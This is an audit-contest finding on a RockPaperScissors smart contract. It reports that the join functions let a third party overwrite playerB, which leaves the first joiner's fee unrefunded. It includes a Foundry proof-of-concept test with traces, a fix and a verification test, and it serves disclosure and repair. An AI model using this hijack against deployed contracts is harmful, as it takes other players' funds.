Submission Details
Severity:
Multi-party collaboration issues
Summary
The game rules are only applicable to two-player games, but the join game functionjoinGameWithEth and joinGameWithTokendoes not restrict the number of users, and existing participants may be replaced.And the previous participant's entry fee will be swallowed.
Vulnerability Details
The join game function using this code :
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
In these two functions of joinGameWithEth and joinGameWithToken , they were only required that the creator could not join their own game, but there was no restriction on the number of participants, nor was the joining status locked immediately after the first participant joined, leading to the possibility of the first participant game.playerBbeing replaced during the joining period.When the first participant joins and pays the participation fee, but is then replaced by the second participant, the first participant will be unable to participate, and the paid fee will not be refunded.
Impact
The first participantgame.playerB might be replaced.And the entry fee of first participant will be swallowed and not be refunded.
Tools Used
Founder(forge)
VS Code
Proof of Concept
In the proof, set up one game creator, playerA, and two game participants, playerB and playerC.
address public playerC = makeAddr("playerC");
function setUp() public {
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
...
}
Then, we begin simulating this test: playerA creates the game, playerB joins, but playerC wants to replace playerB. We will see if this is successful.
/*//////////////////////////////////////////////////////////////
MULTI-PARTY COLLABORATION ISSUES
//////////////////////////////////////////////////////////////*/
// Test joining a game with ETH
function testJoinGameWithEth() public {
// First create a game
vm.prank(playerA);
uint256 playerABalanceBefore = playerA.balance;
gameId = game.createGameWithEth{value: BET_AMOUNT}(
TOTAL_TURNS,
TIMEOUT
);
// Now join the game
vm.startPrank(playerB);
uint256 playerBBalanceBefore = playerB.balance;
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
//A third party attempted to join.
vm.startPrank(playerC);
uint256 playerCBalanceBefore = playerC.balance;
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(
address storedPlayerA,
address storedPlayer2,
,
,
,
,
,
,
,
,
,
,
,
,
,
RockPaperScissors.GameState state
) = game.games(gameId);
console.log("playerBBalanceBefore",playerBBalanceBefore);
console.log("playerBBalanceAfter",playerB.balance);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayer2, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
And, the result is as follows: we see that playerC successfully replaced playerB.However, playerB had already paid the corresponding participation fee. When playerC joined the game,playerB was kicked out but did not receive a refund of their participation fee."
[PASS] testJoinGameWithEth() (gas: 275138)
Logs:
playerBBalanceBefore 10000000000000000000
playerBBalanceAfter 9900000000000000000
Traces:
[275138] RockPaperScissorsTest::testJoinGameWithEth()
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [24919] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
├─ [3019] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] console::log("playerBBalanceBefore", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerBBalanceAfter", 9900000000000000000 [9.9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.67ms (3.00ms CPU time)
Recommendations
To address this issue, participant address detection can be set up on joinGameWithEthfunction. When a participant already exists, joining will not be allowed. Alternatively, after a joiner joins, the game state can be adjusted to "Committed".
For example,preventing third-party joining is sufficient:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
//preventing third-party joining
+ require(game.playerB == address(0), "A participant is already present");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Verification as follows:
function testJoinGameWithEth() public {
// First create a game
vm.prank(playerA);
uint256 playerABalanceBefore = playerA.balance;
gameId = game.createGameWithEth{value: BET_AMOUNT}(
TOTAL_TURNS,
TIMEOUT
);
// Now join the game
vm.startPrank(playerB);
uint256 playerBBalanceBefore = playerB.balance;
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
//A third party attempted to join.
vm.startPrank(playerC);
uint256 playerCBalanceBefore = playerC.balance;
vm.expectRevert();
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(
address storedPlayerA,
address storedPlayer2,
,
,
,
,
,
,
,
,
,
,
,
,
,
RockPaperScissors.GameState state
) = game.games(gameId);
console.log("playerBBalanceBefore",playerBBalanceBefore);
console.log("playerBBalanceAfter",playerB.balance);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayer2, playerB);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
[PASS] testJoinGameWithEth() (gas: 271767)
Logs:
playerBBalanceBefore 10000000000000000000
playerBBalanceAfter 9900000000000000000
Traces:
[271767] RockPaperScissorsTest::testJoinGameWithEth()
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [24965] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [1493] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ └─ ← [Revert] revert: A participant is already present
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] console::log("playerBBalanceBefore", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerBBalanceAfter", 9900000000000000000 [9.9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.35ms (233.60µs CPU time)
Updates
Appeal created
m3dython 7 months ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.